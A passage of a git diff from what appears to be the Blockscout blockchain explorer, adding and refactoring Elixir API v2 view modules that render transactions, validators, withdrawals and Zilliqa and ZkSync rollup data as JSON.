defp prepare_revert_reason_for_single_transaction(transaction) do + case TransactionView.transaction_revert_reason(transaction, @api_true) do + {:error, _contract_not_verified, candidates} when candidates != [] -> + {:ok, method_id, text, mapping} = Enum.at(candidates, 0) + render(__MODULE__, "decoded_input.json", method_id: method_id, text: text, mapping: mapping, error?: true) + + {:ok, method_id, text, mapping} -> + render(__MODULE__, "decoded_input.json", method_id: method_id, text: text, mapping: mapping, error?: true) + + _ -> + hex = TransactionView.get_pure_transaction_revert_reason(transaction) + render(__MODULE__, "revert_reason.json", raw: hex) + end + end + + @doc """ + Prepares decoded transaction info + """ + @spec decoded_input(any()) :: map() | nil + def decoded_input(decoded_input) do + case decoded_input do + {:ok, method_id, text, mapping} -> + render(__MODULE__, "decoded_input.json", method_id: method_id, text: text, mapping: mapping, error?: false) + + _ -> + nil + end + end + + def prepare_method_mapping(mapping) do + Enum.map(mapping, fn {name, type, value} -> + %{"name" => name, "type" => type, "value" => DecodingHelper.value_json(type, value)} + end) + end + + def prepare_log_mapping(mapping) do + Enum.map(mapping, fn {name, type, indexed?, value} -> + %{"name" => name, "type" => type, "indexed" => indexed?, "value" => DecodingHelper.value_json(type, value)} + end) + end + + defp format_status({:error, reason}), do: reason + defp format_status(status), do: status + + defp format_decoded_log_input({:error, :could_not_decode}), do: nil + defp format_decoded_log_input({:ok, _method_id, _text, _mapping} = decoded), do: decoded + defp format_decoded_log_input({:error, _, candidates}), do: Enum.at(candidates, 0) + + def format_confirmations({:ok, confirmations}), do: confirmations + def format_confirmations(_), do: 0 + + def format_fee({type, value}), do: %{"type" => type, "value" => value} + + def processing_time_duration(%Transaction{block: nil}) do + [] + end + + def processing_time_duration(%Transaction{earliest_processing_start: nil}) do + avg_time = AverageBlockTime.average_block_time() + + if avg_time == {:error, :disabled} do + [] + else + [ + 0, + avg_time + |> Duration.to_milliseconds() + ] + end + end + + def processing_time_duration(%Transaction{ + block: %Block{timestamp: end_time}, + earliest_processing_start: earliest_processing_start, + inserted_at: inserted_at + }) do + long_interval = abs(diff(earliest_processing_start, end_time)) + short_interval = abs(diff(inserted_at, end_time)) + merge_intervals(short_interval, long_interval) + end + + def merge_intervals(short, long) when short == long, do: [short] + + def merge_intervals(short, long) do + [short, long] + end + + def diff(left, right) do + left + |> Timex.diff(right, :milliseconds) + end + + @doc """ + Returns array of token types for transaction. + """ + @spec transaction_types( + Explorer.Chain.Transaction.t(), + [transaction_type], + transaction_type + ) :: [transaction_type] + when transaction_type: + :coin_transfer + | :contract_call + | :contract_creation + | :rootstock_bridge + | :rootstock_remasc + | :token_creation + | :token_transfer + | :blob_transaction + | :set_code_transaction + def transaction_types(transaction, types \\ [], stage \\ :set_code_transaction) + + def transaction_types(%Transaction{type: type} = transaction, types, :set_code_transaction) do + # EIP-7702 set code transaction type + types = + if type == 4 do + [:set_code_transaction | types] + else + types + end + + transaction_types(transaction, types, :blob_transaction) + end + + def transaction_types(%Transaction{type: type} = transaction, types, :blob_transaction) do + # EIP-2718 blob transaction type + types = + if type == 3 do + [:blob_transaction | types] + else + types + end + + transaction_types(transaction, types, :token_transfer) + end + + def transaction_types(%Transaction{token_transfers: token_transfers} = transaction, types, :token_transfer) do + types = + if (!is_nil(token_transfers) && token_transfers != [] && !match?(%NotLoaded{}, token_transfers)) || + transaction.has_token_transfers do + [:token_transfer | types] + else + types + end + + transaction_types(transaction, types, :token_creation) + end + + def transaction_types( + %Transaction{created_contract_address: created_contract_address} = transaction, + types, + :token_creation + ) do + types = + if match?(%Address{}, created_contract_address) && match?(%Token{}, created_contract_address.token) do + [:token_creation | types] + else + types + end + + transaction_types(transaction, types, :contract_creation) + end + + def transaction_types( + %Transaction{to_address_hash: to_address_hash} = transaction, + types, + :contract_creation + ) do + types = + if is_nil(to_address_hash) do + [:contract_creation | types] + else + types + end + + transaction_types(transaction, types, :contract_call) + end + + def transaction_types(%Transaction{to_address: to_address} = transaction, types, :contract_call) do + types = + if Address.smart_contract?(to_address) do + [:contract_call | types] + else + types + end + + transaction_types(transaction, types, :coin_transfer) + end + + def transaction_types(%Transaction{value: value} = transaction, types, :coin_transfer) do + types = + if Decimal.compare(value.value, 0) == :gt do + [:coin_transfer | types] + else + types + end + + transaction_types(transaction, types, :rootstock_remasc) + end + + def transaction_types(transaction, types, :rootstock_remasc) do + types = + if Transaction.rootstock_remasc_transaction?(transaction) do + [:rootstock_remasc | types] + else + types + end + + transaction_types(transaction, types, :rootstock_bridge) + end + + def transaction_types(transaction, types, :rootstock_bridge) do + if Transaction.rootstock_bridge_transaction?(transaction) do + [:rootstock_bridge | types] + else + types + end + end + + @doc """ + Returns block's timestamp from Block/Transaction + """ + @spec block_timestamp(any()) :: :utc_datetime_usec | nil + def block_timestamp(%Transaction{block_timestamp: block_ts}) when not is_nil(block_ts), do: block_ts + def block_timestamp(%Transaction{block: %Block{} = block}), do: block.timestamp + def block_timestamp(%Block{} = block), do: block.timestamp + def block_timestamp(_), do: nil + + defp prepare_state_change(%StateChange{} = state_change) do + coin_or_transfer = + if state_change.coin_or_token_transfers == :coin, + do: :coin, + else: elem(List.first(state_change.coin_or_token_transfers), 1) + + type = if coin_or_transfer == :coin, do: "coin", else: "token" + + %{ + "address" => + Helper.address_with_info(nil, state_change.address, state_change.address && state_change.address.hash, false), + "is_miner" => state_change.miner?, + "type" => type, + "token" => if(type == "token", do: TokenView.render("token.json", %{token: coin_or_transfer.token})), + "token_id" => state_change.token_id + } + |> append_balances(state_change.balance_before, state_change.balance_after) + |> append_balance_change(state_change, coin_or_transfer) + end + + defp append_balances(map, balance_before, balance_after) do + balances = + if TransactionStateView.not_negative?(balance_before) and TransactionStateView.not_negative?(balance_after) do + %{ + "balance_before" => balance_before, + "balance_after" => balance_after + } + else + %{ + "balance_before" => nil, + "balance_after" => nil + } + end + + Map.merge(map, balances) + end + + defp append_balance_change(map, state_change, coin_or_transfer) do + change = + if is_list(state_change.coin_or_token_transfers) and coin_or_transfer.token.type == "ERC-721" do + for {direction, token_transfer} <- state_change.coin_or_token_transfers do + %{"total" => TokenTransferView.prepare_token_transfer_total(token_transfer), "direction" => direction} + end + else + state_change.balance_diff + end + + Map.merge(map, %{"change" => change}) + end + + defp with_chain_type_transformations(transactions) do + chain_type = Application.get_env(:explorer, :chain_type) + do_with_chain_type_transformations(chain_type, transactions) + end + + defp do_with_chain_type_transformations(:stability, transactions) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.StabilityView.transform_transactions(transactions) + end + + defp do_with_chain_type_transformations(_chain_type, transactions) do + transactions + end + + defp with_chain_type_fields(result, transaction, single_transaction?, conn, watchlist_names) do + chain_type = Application.get_env(:explorer, :chain_type) + do_with_chain_type_fields(chain_type, result, transaction, single_transaction?, conn, watchlist_names) + end + + defp do_with_chain_type_fields( + :polygon_zkevm, + result, + transaction, + true = _single_transaction?, + _conn, + _watchlist_names + ) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.PolygonZkevmView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:zksync, result, transaction, true = _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ZkSyncView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:arbitrum, result, transaction, true = _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ArbitrumView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:optimism, result, transaction, true = _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.OptimismView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:scroll, result, transaction, true = _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ScrollView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:suave, result, transaction, true = single_transaction?, conn, watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.SuaveView.extend_transaction_json_response( + transaction, + result, + single_transaction?, + conn, + watchlist_names + ) + end + + defp do_with_chain_type_fields(:stability, result, transaction, _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.StabilityView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:ethereum, result, transaction, _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.EthereumView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:celo, result, transaction, _single_transaction?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.CeloView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(:zilliqa, result, transaction, _single_tx?, _conn, _watchlist_names) do + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + BlockScoutWeb.API.V2.ZilliqaView.extend_transaction_json_response(result, transaction) + end + + defp do_with_chain_type_fields(_chain_type, result, _transaction, _single_transaction?, _conn, _watchlist_names) do + result + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/validator_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/validator_view.ex new file mode 100644 index 000000000000..10813623399c --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/validator_view.ex @@ -0,0 +1,64 @@ +defmodule BlockScoutWeb.API.V2.ValidatorView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.Helper + + def render("stability_validators.json", %{validators: validators, next_page_params: next_page_params}) do + %{"items" => Enum.map(validators, &prepare_stability_validator(&1)), "next_page_params" => next_page_params} + end + + def render("blackfort_validators.json", %{validators: validators, next_page_params: next_page_params}) do + %{"items" => Enum.map(validators, &prepare_blackfort_validator(&1)), "next_page_params" => next_page_params} + end + + def render("zilliqa_validators.json", %{validators: validators, next_page_params: next_page_params}) do + %{"items" => Enum.map(validators, &prepare_zilliqa_validator(&1)), "next_page_params" => next_page_params} + end + + def render("zilliqa_validator.json", %{validator: validator}) do + validator + |> prepare_zilliqa_validator() + |> Map.merge(%{ + "peer_id" => validator.peer_id, + "control_address" => + Helper.address_with_info(nil, validator.control_address, validator.control_address_hash, true), + "reward_address" => Helper.address_with_info(nil, validator.reward_address, validator.reward_address_hash, true), + "signing_address" => + Helper.address_with_info(nil, validator.signing_address, validator.signing_address_hash, true), + "added_at_block_number" => validator.added_at_block_number, + "stake_updated_at_block_number" => validator.stake_updated_at_block_number + }) + end + + defp prepare_stability_validator(validator) do + %{ + "address" => Helper.address_with_info(nil, validator.address, validator.address_hash, true), + "state" => validator.state, + "blocks_validated_count" => validator.blocks_validated + } + end + + defp prepare_blackfort_validator(validator) do + %{ + "address" => Helper.address_with_info(nil, validator.address, validator.address_hash, true), + "name" => validator.name, + "commission" => validator.commission, + "self_bonded_amount" => validator.self_bonded_amount, + "delegated_amount" => validator.delegated_amount, + "slashing_status" => %{ + "slashed" => validator.slashing_status_is_slashed, + "block_number" => validator.slashing_status_by_block, + "multiplier" => validator.slashing_status_multiplier + } + } + end + + @spec prepare_zilliqa_validator(Explorer.Chain.Zilliqa.Staker.t()) :: map() + defp prepare_zilliqa_validator(validator) do + %{ + "bls_public_key" => validator.bls_public_key, + "index" => validator.index, + "balance" => to_string(validator.balance) + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/withdrawal_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/withdrawal_view.ex new file mode 100644 index 000000000000..252a36f784e8 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/withdrawal_view.ex @@ -0,0 +1,41 @@ +defmodule BlockScoutWeb.API.V2.WithdrawalView do + use BlockScoutWeb, :view + + alias BlockScoutWeb.API.V2.Helper + alias Explorer.Chain.Withdrawal + + def render("withdrawals.json", %{withdrawals: withdrawals, next_page_params: next_page_params}) do + %{"items" => Enum.map(withdrawals, &prepare_withdrawal(&1)), "next_page_params" => next_page_params} + end + + @spec prepare_withdrawal(Withdrawal.t()) :: map() + def prepare_withdrawal(%Withdrawal{block: %Ecto.Association.NotLoaded{}} = withdrawal) do + %{ + "index" => withdrawal.index, + "validator_index" => withdrawal.validator_index, + "receiver" => Helper.address_with_info(nil, withdrawal.address, withdrawal.address_hash, false), + "amount" => withdrawal.amount + } + end + + def prepare_withdrawal(%Withdrawal{address: %Ecto.Association.NotLoaded{}} = withdrawal) do + %{ + "index" => withdrawal.index, + "validator_index" => withdrawal.validator_index, + "block_number" => withdrawal.block.number, + "amount" => withdrawal.amount, + "timestamp" => withdrawal.block.timestamp + } + end + + def prepare_withdrawal(%Withdrawal{} = withdrawal) do + %{ + "index" => withdrawal.index, + "validator_index" => withdrawal.validator_index, + "block_number" => withdrawal.block.number, + "receiver" => Helper.address_with_info(nil, withdrawal.address, withdrawal.address_hash, false), + "amount" => withdrawal.amount, + "timestamp" => withdrawal.block.timestamp + } + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/zilliqa_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/zilliqa_view.ex new file mode 100644 index 000000000000..ecbc419cc542 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/zilliqa_view.ex @@ -0,0 +1,146 @@ +defmodule BlockScoutWeb.API.V2.ZilliqaView do + @moduledoc """ + View functions for rendering Zilliqa-related data in JSON format. + """ + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + if @chain_type == :zilliqa do + # TODO: remove when https://github.com/elixir-lang/elixir/issues/13975 comes to elixir release + import Explorer.Chain.Zilliqa.Helper, only: [scilla_transaction?: 1], warn: false + alias Ecto.Association.NotLoaded, warn: false + alias Explorer.Chain.{Address, Block, Transaction}, warn: false + alias Explorer.Chain.Zilliqa.{AggregateQuorumCertificate, QuorumCertificate}, warn: false + + @doc """ + Extends the JSON output with a sub-map containing information related to Zilliqa, + such as the quorum certificate and aggregate quorum certificate. + + ## Parameters + - `out_json`: A map defining the output JSON which will be extended. + - `block`: The block structure containing Zilliqa-related data. + - `single_block?`: A boolean indicating if it is a single block. + + ## Returns + - A map extended with data related to Zilliqa. + """ + @spec extend_block_json_response(map(), Block.t(), boolean()) :: map() + def extend_block_json_response(out_json, %Block{}, false), + do: out_json + + def extend_block_json_response(out_json, %Block{zilliqa_view: zilliqa_view} = block, true) do + zilliqa_json = + %{view: zilliqa_view} + |> add_quorum_certificate(block) + |> add_aggregate_quorum_certificate(block) + + Map.put(out_json, :zilliqa, zilliqa_json) + end + + @doc """ + Extends the JSON output with a sub-map containing information related to Zilliqa, + such as if the transaction is a Scilla transaction. + + ## Parameters + - `out_json`: A map defining the output JSON which will be extended. + - `transaction`: The transaction structure. + + ## Returns + - A map extended with data related to Zilliqa. + """ + @spec extend_transaction_json_response(map(), Transaction.t()) :: map() + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + Map.put(out_json, :zilliqa, %{ + is_scilla: scilla_transaction?(transaction) + }) + end + + @doc """ + Extends the JSON output with a sub-map containing information related to + Zilliqa, such as if the address is a Scilla smart contract. + + ## Parameters + - `out_json`: A map defining the output JSON which will be extended. + - `address`: The address structure. + + ## Returns + - A map extended with data related to Zilliqa. + """ + @spec extend_address_json_response(map(), Address.t() | nil | NotLoaded.t()) :: map() + def extend_address_json_response(out_json, address) do + is_scilla_contract = + case address do + %Address{ + contract_creation_transaction: transaction + } -> + scilla_transaction?(transaction) + + _ -> + false + end + + Map.put(out_json, :zilliqa, %{ + is_scilla_contract: is_scilla_contract + }) + end + + @spec add_quorum_certificate(map(), Block.t()) :: map() + defp add_quorum_certificate( + zilliqa_json, + %Block{ + zilliqa_quorum_certificate: %QuorumCertificate{ + view: view, + signature: signature, + signers: signers + } + } + ) do + zilliqa_json + |> Map.put(:quorum_certificate, %{ + view: view, + signature: signature, + signers: signers + }) + end + + defp add_quorum_certificate(zilliqa_json, _block), do: zilliqa_json + + @spec add_aggregate_quorum_certificate(map(), Block.t()) :: map() + defp add_aggregate_quorum_certificate(zilliqa_json, %Block{ + zilliqa_aggregate_quorum_certificate: %AggregateQuorumCertificate{ + view: view, + signature: signature, + nested_quorum_certificates: nested_quorum_certificates + } + }) + when is_list(nested_quorum_certificates) do + zilliqa_json + |> Map.put(:aggregate_quorum_certificate, %{ + view: view, + signature: signature, + signers: + Enum.map( + nested_quorum_certificates, + & &1.proposed_by_validator_index + ), + nested_quorum_certificates: + Enum.map( + nested_quorum_certificates, + &%{ + view: &1.view, + signature: &1.signature, + proposed_by_validator_index: &1.proposed_by_validator_index, + signers: &1.signers + } + ) + }) + end + + defp add_aggregate_quorum_certificate(zilliqa_json, _block), do: zilliqa_json + else + def extend_block_json_response(out_json, _, _), + do: out_json + + def extend_transaction_json_response(out_json, _), + do: out_json + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api/v2/zksync_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api/v2/zksync_view.ex new file mode 100644 index 000000000000..ff76194930d5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/api/v2/zksync_view.ex @@ -0,0 +1,205 @@ +defmodule BlockScoutWeb.API.V2.ZkSyncView do + use BlockScoutWeb, :view + + alias Explorer.Chain.{Block, Transaction} + alias Explorer.Chain.ZkSync.TransactionBatch + + alias BlockScoutWeb.API.V2.Helper, as: APIV2Helper + + @doc """ + Function to render GET requests to `/api/v2/zksync/batches/:batch_number` endpoint. + """ + @spec render(binary(), map()) :: map() | non_neg_integer() + def render("zksync_batch.json", %{batch: batch}) do + %{ + "number" => batch.number, + "timestamp" => batch.timestamp, + "root_hash" => batch.root_hash, + "l1_transactions_count" => batch.l1_transaction_count, + "l2_transactions_count" => batch.l2_transaction_count, + "l1_gas_price" => batch.l1_gas_price, + "l2_fair_gas_price" => batch.l2_fair_gas_price, + "start_block_number" => batch.start_block, + "end_block_number" => batch.end_block + } + |> add_l1_transactions_info_and_status(batch) + end + + @doc """ + Function to render GET requests to `/api/v2/zksync/batches` endpoint. + """ + def render("zksync_batches.json", %{ + batches: batches, + next_page_params: next_page_params + }) do + %{ + items: render_zksync_batches(batches), + next_page_params: next_page_params + } + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/zksync/batches/confirmed` endpoint. + """ + def render("zksync_batches.json", %{batches: batches}) do + %{items: render_zksync_batches(batches)} + end + + @doc """ + Function to render GET requests to `/api/v2/zksync/batches/count` endpoint. + """ + def render("zksync_batches_count.json", %{count: count}) do + count + end + + @doc """ + Function to render GET requests to `/api/v2/main-page/zksync/batches/latest-number` endpoint. + """ + def render("zksync_batch_latest_number.json", %{number: number}) do + number + end + + defp render_zksync_batches(batches) do + Enum.map(batches, fn batch -> + %{ + "number" => batch.number, + "timestamp" => batch.timestamp, + "transactions_count" => batch.l1_transaction_count + batch.l2_transaction_count + } + |> add_l1_transactions_info_and_status(batch) + end) + end + + @doc """ + Extends the json output with a sub-map containing information related + zksync: batch number and associated L1 transactions and their timestamps. + + ## Parameters + - `out_json`: a map defining output json which will be extended + - `transaction`: transaction structure containing zksync related data + + ## Returns + A map extended with data related zksync rollup + """ + @spec extend_transaction_json_response(map(), %{ + :__struct__ => Explorer.Chain.Transaction, + optional(:zksync_batch) => any(), + optional(:zksync_commit_transaction) => any(), + optional(:zksync_execute_transaction) => any(), + optional(:zksync_prove_transaction) => any(), + optional(any()) => any() + }) :: map() + def extend_transaction_json_response(out_json, %Transaction{} = transaction) do + do_add_zksync_info(out_json, transaction) + end + + @doc """ + Extends the json output with a sub-map containing information related + zksync: batch number and associated L1 transactions and their timestamps. + + ## Parameters + - `out_json`: a map defining output json which will be extended + - `block`: block structure containing zksync related data + + ## Returns + A map extended with data related zksync rollup + """ + @spec extend_block_json_response(map(), %{ + :__struct__ => Explorer.Chain.Block, + optional(:zksync_batch) => any(), + optional(:zksync_commit_transaction) => any(), + optional(:zksync_execute_transaction) => any(), + optional(:zksync_prove_transaction) => any(), + optional(any()) => any() + }) :: map() + def extend_block_json_response(out_json, %Block{} = block) do + do_add_zksync_info(out_json, block) + end + + defp do_add_zksync_info(out_json, zksync_entity) do + res = + %{} + |> do_add_l1_transactions_info_and_status(%{ + batch_number: get_batch_number(zksync_entity), + commit_transaction: zksync_entity.zksync_commit_transaction, + prove_transaction: zksync_entity.zksync_prove_transaction, + execute_transaction: zksync_entity.zksync_execute_transaction + }) + |> Map.put("batch_number", get_batch_number(zksync_entity)) + + Map.put(out_json, "zksync", res) + end + + defp get_batch_number(zksync_entity) do + case Map.get(zksync_entity, :zksync_batch) do + nil -> nil + %Ecto.Association.NotLoaded{} -> nil + value -> value.number + end + end + + defp add_l1_transactions_info_and_status(out_json, %TransactionBatch{} = batch) do + do_add_l1_transactions_info_and_status(out_json, batch) + end + + defp do_add_l1_transactions_info_and_status(out_json, zksync_item) do + l1_transactions = get_associated_l1_transactions(zksync_item) + + out_json + |> Map.merge(%{ + "status" => batch_status(zksync_item), + "commit_transaction_hash" => APIV2Helper.get_2map_data(l1_transactions, :commit_transaction, :hash), + "commit_transaction_timestamp" => APIV2Helper.get_2map_data(l1_transactions, :commit_transaction, :ts), + "prove_transaction_hash" => APIV2Helper.get_2map_data(l1_transactions, :prove_transaction, :hash), + "prove_transaction_timestamp" => APIV2Helper.get_2map_data(l1_transactions, :prove_transaction, :ts), + "execute_transaction_hash" => APIV2Helper.get_2map_data(l1_transactions, :execute_transaction, :hash), + "execute_transaction_timestamp" => APIV2Helper.get_2map_data(l1_transactions, :execute_transaction, :ts) + }) + end + + # Extract transaction hash and timestamp for L1 transactions associated with + # a zksync rollup entity: batch, transaction or block. + # + # ## Parameters + # - `zksync_item`: A batch, transaction, or block. + # + # ## Returns + # A map containing nesting maps describing corresponding L1 transactions + defp get_associated_l1_transactions(zksync_item) do + [:commit_transaction, :prove_transaction, :execute_transaction] + |> Enum.reduce(%{}, fn key, l1_transactions -> + case Map.get(zksync_item, key) do + nil -> Map.put(l1_transactions, key, nil) + %Ecto.Association.NotLoaded{} -> Map.put(l1_transactions, key, nil) + value -> Map.put(l1_transactions, key, %{hash: value.hash, ts: value.timestamp}) + end + end) + end + + # Inspects L1 transactions of the batch to determine the batch status. + # + # ## Parameters + # - `zksync_item`: A batch, transaction, or block. + # + # ## Returns + # A string with one of predefined statuses + defp batch_status(zksync_item) do + cond do + APIV2Helper.specified?(zksync_item.execute_transaction) -> "Executed on L1" + APIV2Helper.specified?(zksync_item.prove_transaction) -> "Validated on L1" + APIV2Helper.specified?(zksync_item.commit_transaction) -> "Sent to L1" + # Batch entity itself has no batch_number + not Map.has_key?(zksync_item, :batch_number) -> "Sealed on L2" + not is_nil(zksync_item.batch_number) -> "Sealed on L2" + true -> "Processed on L2" + end + end + + @doc """ + Returns a list of possible batch statuses. + """ + @spec batch_status_enum() :: [String.t()] + def batch_status_enum do + ["Executed on L1", "Validated on L1", "Sent to L1", "Sealed on L2", "Processed on L2"] + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/api_docs_view.ex b/apps/block_scout_web/lib/block_scout_web/views/api_docs_view.ex index 883440b48555..77a1b36824aa 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/api_docs_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/api_docs_view.ex @@ -2,6 +2,7 @@ defmodule BlockScoutWeb.APIDocsView do use BlockScoutWeb, :view alias BlockScoutWeb.LayoutView + alias Explorer def action_tile_id(module, action) do "#{module}-#{action}" @@ -20,7 +21,7 @@ defmodule BlockScoutWeb.APIDocsView do end def model_type_definition(definition_func) when is_function(definition_func, 1) do - coin = Application.get_env(:explorer, :coin) + coin = Explorer.coin() definition_func.(coin) end @@ -48,16 +49,11 @@ defmodule BlockScoutWeb.APIDocsView do end end - def blockscout_url(set_path, is_api) when set_path == true do + def blockscout_url(set_path) when set_path == true do url_params = Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url] host = url_params[:host] - path = - if is_api do - url_params[:api_path] - else - url_params[:path] - end + path = url_params[:path] scheme = Keyword.get(url_params, :scheme, "http") @@ -70,20 +66,14 @@ defmodule BlockScoutWeb.APIDocsView do end def api_url do - is_api = true - set_path = true - - set_path - |> blockscout_url(is_api) + true + |> blockscout_url() |> Path.join("api") end def eth_rpc_api_url do - is_api = true - set_path = true - - set_path - |> blockscout_url(is_api) + true + |> blockscout_url() |> Path.join("api/eth-rpc") end end diff --git a/apps/block_scout_web/lib/block_scout_web/views/block_transaction_view.ex b/apps/block_scout_web/lib/block_scout_web/views/block_transaction_view.ex index aef7f4124d03..025f2782d5c6 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/block_transaction_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/block_transaction_view.ex @@ -1,7 +1,7 @@ defmodule BlockScoutWeb.BlockTransactionView do use BlockScoutWeb, :view - import BlockScoutWeb.Gettext, only: [gettext: 1] + use Gettext, backend: BlockScoutWeb.Gettext def block_not_found_message({:ok, true}) do gettext("Easy Cowboy! This block does not exist yet!") diff --git a/apps/block_scout_web/lib/block_scout_web/views/block_view.ex b/apps/block_scout_web/lib/block_scout_web/views/block_view.ex index 78a22e76700b..11311a747b55 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/block_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/block_view.ex @@ -3,10 +3,11 @@ defmodule BlockScoutWeb.BlockView do import Math.Enum, only: [mean: 1] + alias Ecto.Association.NotLoaded alias Explorer.Chain + alias Explorer.Chain.Cache.Counters.{BlockBurntFeeCount, BlockPriorityFeeCount} alias Explorer.Chain.{Block, Wei} alias Explorer.Chain.Block.Reward - alias Explorer.Counters.{BlockBurnedFeeCounter, BlockPriorityFeeCounter} @dialyzer :no_match @@ -23,6 +24,7 @@ defmodule BlockScoutWeb.BlockView do "#{average} #{unit_text}" end + def block_type(%Block{consensus: false, nephews: %NotLoaded{}}), do: "Reorg" def block_type(%Block{consensus: false, nephews: []}), do: "Reorg" def block_type(%Block{consensus: false}), do: "Uncle" def block_type(_block), do: "Block" @@ -55,7 +57,7 @@ defmodule BlockScoutWeb.BlockView do def block_reward_text(%Reward{address_hash: beneficiary_address, address_type: :validator}, block_miner_address) do if Application.get_env(:explorer, Explorer.Chain.Block.Reward, %{})[:keys_manager_contract_address] do - %{payout_key: block_miner_payout_address} = Reward.get_validator_payout_key_by_mining(block_miner_address) + %{payout_key: block_miner_payout_address} = Reward.get_validator_payout_key_by_mining_from_db(block_miner_address) if beneficiary_address == block_miner_payout_address do gettext("Miner Reward") diff --git a/apps/block_scout_web/lib/block_scout_web/views/block_withdrawal_view.ex b/apps/block_scout_web/lib/block_scout_web/views/block_withdrawal_view.ex new file mode 100644 index 000000000000..f6b22b30f7a7 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/block_withdrawal_view.ex @@ -0,0 +1,5 @@ +defmodule BlockScoutWeb.BlockWithdrawalView do + use BlockScoutWeb, :view + + alias Explorer.Chain.Address +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/bridged_tokens_view.ex b/apps/block_scout_web/lib/block_scout_web/views/bridged_tokens_view.ex new file mode 100644 index 000000000000..3cf7e32512c7 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/views/bridged_tokens_view.ex @@ -0,0 +1,24 @@ +defmodule BlockScoutWeb.BridgedTokensView do + use BlockScoutWeb, :view + + alias Explorer.Chain.{BridgedToken, CurrencyHelper, Token} + + @doc """ + Calculates capitalization of the bridged token in USD. + """ + @spec bridged_token_usd_cap(BridgedToken.t(), Token.t()) :: String.t() + def bridged_token_usd_cap(bridged_token, token) do + usd_cap = + if bridged_token.custom_cap do + bridged_token.custom_cap + else + if bridged_token.exchange_rate && token.total_supply do + Decimal.mult(bridged_token.exchange_rate, CurrencyHelper.divide_decimals(token.total_supply, token.decimals)) + else + Decimal.new(0) + end + end + + usd_cap |> Decimal.to_float() |> :erlang.float_to_binary([:compact, decimals: 20]) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/views/chain_view.ex b/apps/block_scout_web/lib/block_scout_web/views/chain_view.ex index ff5a737bfb68..bbbcdebe866e 100644 --- a/apps/block_scout_web/lib/block_scout_web/views/chain_view.ex +++ b/apps/block_scout_web/lib/block_scout_web/views/chain_view.ex @@ -3,27 +3,11 @@ defmodule BlockScoutWeb.ChainView do require Decimal import Number.Currency, only: [number_to_currency: 2] + import BlockScoutWeb.API.V2.Helper, only: [market_cap: 2] alias BlockScoutWeb.LayoutView alias Explorer.Chain.Cache.GasPriceOracle - defp market_cap(:standard, %{available_supply: available_supply, usd_value: usd_value}) - when is_nil(available_supply) or is_nil(usd_value) do - Decimal.new(0) - end - - defp market_cap(:standard, %{available_supply: available_supply, usd_value: usd_value}) do - Decimal.mult(available_supply, usd_value) - end - - defp market_cap(:standard, exchange_rate) do - exchange_rate.market_cap_usd - end - - defp market_cap(module, exchange_rate) do - module.market_cap(exchange_rate) - end - def format_usd_value(nil), do: "" def format_usd_value(value) do @@ -76,10 +60,7 @@ defmodule BlockScoutWeb.ChainView do defp gas_prices do case GasPriceOracle.get_gas_prices() do {:ok, gas_prices} -> - gas_prices - - nil -> - nil + %{slow: gas_prices[:slow][:price], average: gas_prices[:average][:price], fast: gas_prices[:fast][:price]} _ -> nil diff --git a/apps/block_scout_web/lib/block_scout_web/views/cldr_helper/number.ex b/apps/block_scout_web/lib/block_scout_web/views/cldr_helper/number.ex index 